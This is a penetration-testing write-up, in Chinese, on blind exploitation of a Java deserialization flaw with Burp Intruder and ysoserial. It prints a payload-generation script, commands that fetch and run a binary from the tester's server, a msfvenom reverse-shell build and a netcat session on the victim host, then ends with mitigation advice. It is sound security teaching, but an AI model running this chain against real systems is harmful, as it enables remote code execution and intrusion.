使用Burp和Ysoserial實現Java反序列化漏洞的盲利用
在執行Web應用程式滲透測試時,我在POST引數中偶然發現了一個引數,其內容為某些base64編碼的資料。出於好奇,我將其傳送給了Burp的解碼器。
經過兩輪URL解碼和一輪Base64解碼後,得到的內容看上去好像是一個序列化的Java有效載荷。實際上,這一點是通過幻數看出來的,該 幻數 用ASCII表示的話,為rO0,用十六進位制表示的話,就是AC ED 00。聽說過 ysoserial 之後,我認為最好的做法就是使用該工具集構建一個有效載荷,並將其作為我發現的POST引數的值進行傳送。Ysoserial簡直太棒了,因為它提供了大量的有效載荷,以至於多到我都不知道應該使用哪一個了。幸運的是,我在 /r/netsec 上發現的一篇 博文 詳細介紹了一個與這裡非常相似的情形。Petre Popescu的文章還提供了一個指令碼,該指令碼能夠建立一系列有效載荷,其中包含了可以實現命令執行的各種有效載荷型別中的所有命令。和他一樣,我也不知道基礎作業系統是啥,於是我同時為Linux和Windows系統建立了有效載荷ping。我在分析基準有效載荷時發現的另一個問題是,它並非是簡單的base64編碼;它首先進行了base64編碼,然後每76個字元為一組,用換行符進行分隔,接著又進行了兩次URL編碼。為此,我對 Petre的指令碼 進行了相應的修改,使其能夠適應這種情況。
import os import re import base64 import urllib payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'Myfaces1', 'ROME', 'Spring1', 'Spring2'] def generate(name, cmd): for payload in payloads: final = cmd.replace('REPLACE', payload) print 'Generating ' + payload + ' for ' + name + '...' command = os.popen('java -jar ../ysoserial.jar ' + payload + ' "' + final + '"') result = command.read() command.close() encoded = base64.b64encode(result) if encoded != "": #Create line breaks at 76 characters encoded = re.sub("(.{76})", "\\1\n", encoded, 0, re.DOTALL) #Double URL encode the payload encoded = urllib.quote_plus(urllib.quote_plus(encoded)) open(name + payload + '_intruder.txt', 'a').write(encoded + '\n') generate('Windows', 'ping -n 1 [MY_SERVER]) generate('Linux', 'ping -c 1 [MY_SERVER])
像Petre一樣,我也是通過Burp Intruder逐一發送這些有效載荷,將這些有效載荷轉換為易受攻擊的引數。同時,我還在自己的伺服器上啟動了tcpdump,用來過濾ICMP。
root@MyServer:~# tcpdump icmp tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
隨著有效載荷開始釋放,我發現一個ping進入自己的伺服器,其DNS名稱與我的客戶端是匹配的。為了驗證哪個有效載荷是有效的,我再次執行Intruder攻擊,並將其減慢,以檢視實際觸發的有效載荷。我發現目標系統是Linux,並且有效載荷CommonsBeanutils1是有效的。
由於我特別熱衷於反向shell,所以,下一步是獲得一個可以在目標系統上執行的有效載荷。因此,我根據pentestmonkey網站的 Reverse Shell Cheat Sheet 中的單行荷載進行了逐一嘗試,可惜並未如願。然後,從我控制的伺服器上利用wget下載了一個有效載荷,設定其執行位,並執行之。最初,我企圖連線這三個命令::
wget http://MY_SERVER:8080/payload -o /tmp/payload chmod +x /tmp/payload /tmp/payload
經過反覆試驗後,後來發現用分號連線命令在這裡沒有用,所以,只好一次傳送一個命令。在單行有效載荷失敗之後,我為Linux建立了一個ELF二進位制檔案,以便用msfbusin連接回我的伺服器。
root@kali:~# msfvenom -p linux/x86/shell_reverse_tcp LPORT=443 LHOST=MY_SERVER -f elf > payload No platform was selected, choosing Msf::Module::Platform::Linux from the payload No Arch selected, selecting Arch: x86 from the payload No encoder or badchars specified, outputting raw payload Payload size: 68 bytes Final size of elf file: 152 bytes
由於不瞭解目標系統的具體架構,所以我只選擇了32位有效載荷,因為我知道,它可以同時在64位和32位系統上工作。在傳送了三個序列化的java命令後,我在伺服器上收到了一個連線。
root@MyServer:~# nc -lvp 443 listening on [any] 443 ... connect to [XXX.XXX.XXX.XXX] from victim.com [XXX.XXX.XXX.XXX] 60173 python -c 'import pty;pty.spawn("/bin/bash")' [user@victim]$ id id uid=500(victim) gid=500(victim) groups=500(victim)
在目標系統上收到反向shell之後,我很快就通知了客戶。
緩解這類漏洞的最佳方法是使用其他型別的資料格式,避免使用本機反序列化格式。如果應用程式需要傳遞序列化物件,則必須僅限於對已簽名和驗證的序列化物件執行該操作,以降低惡意使用者提供的任意物件的風險。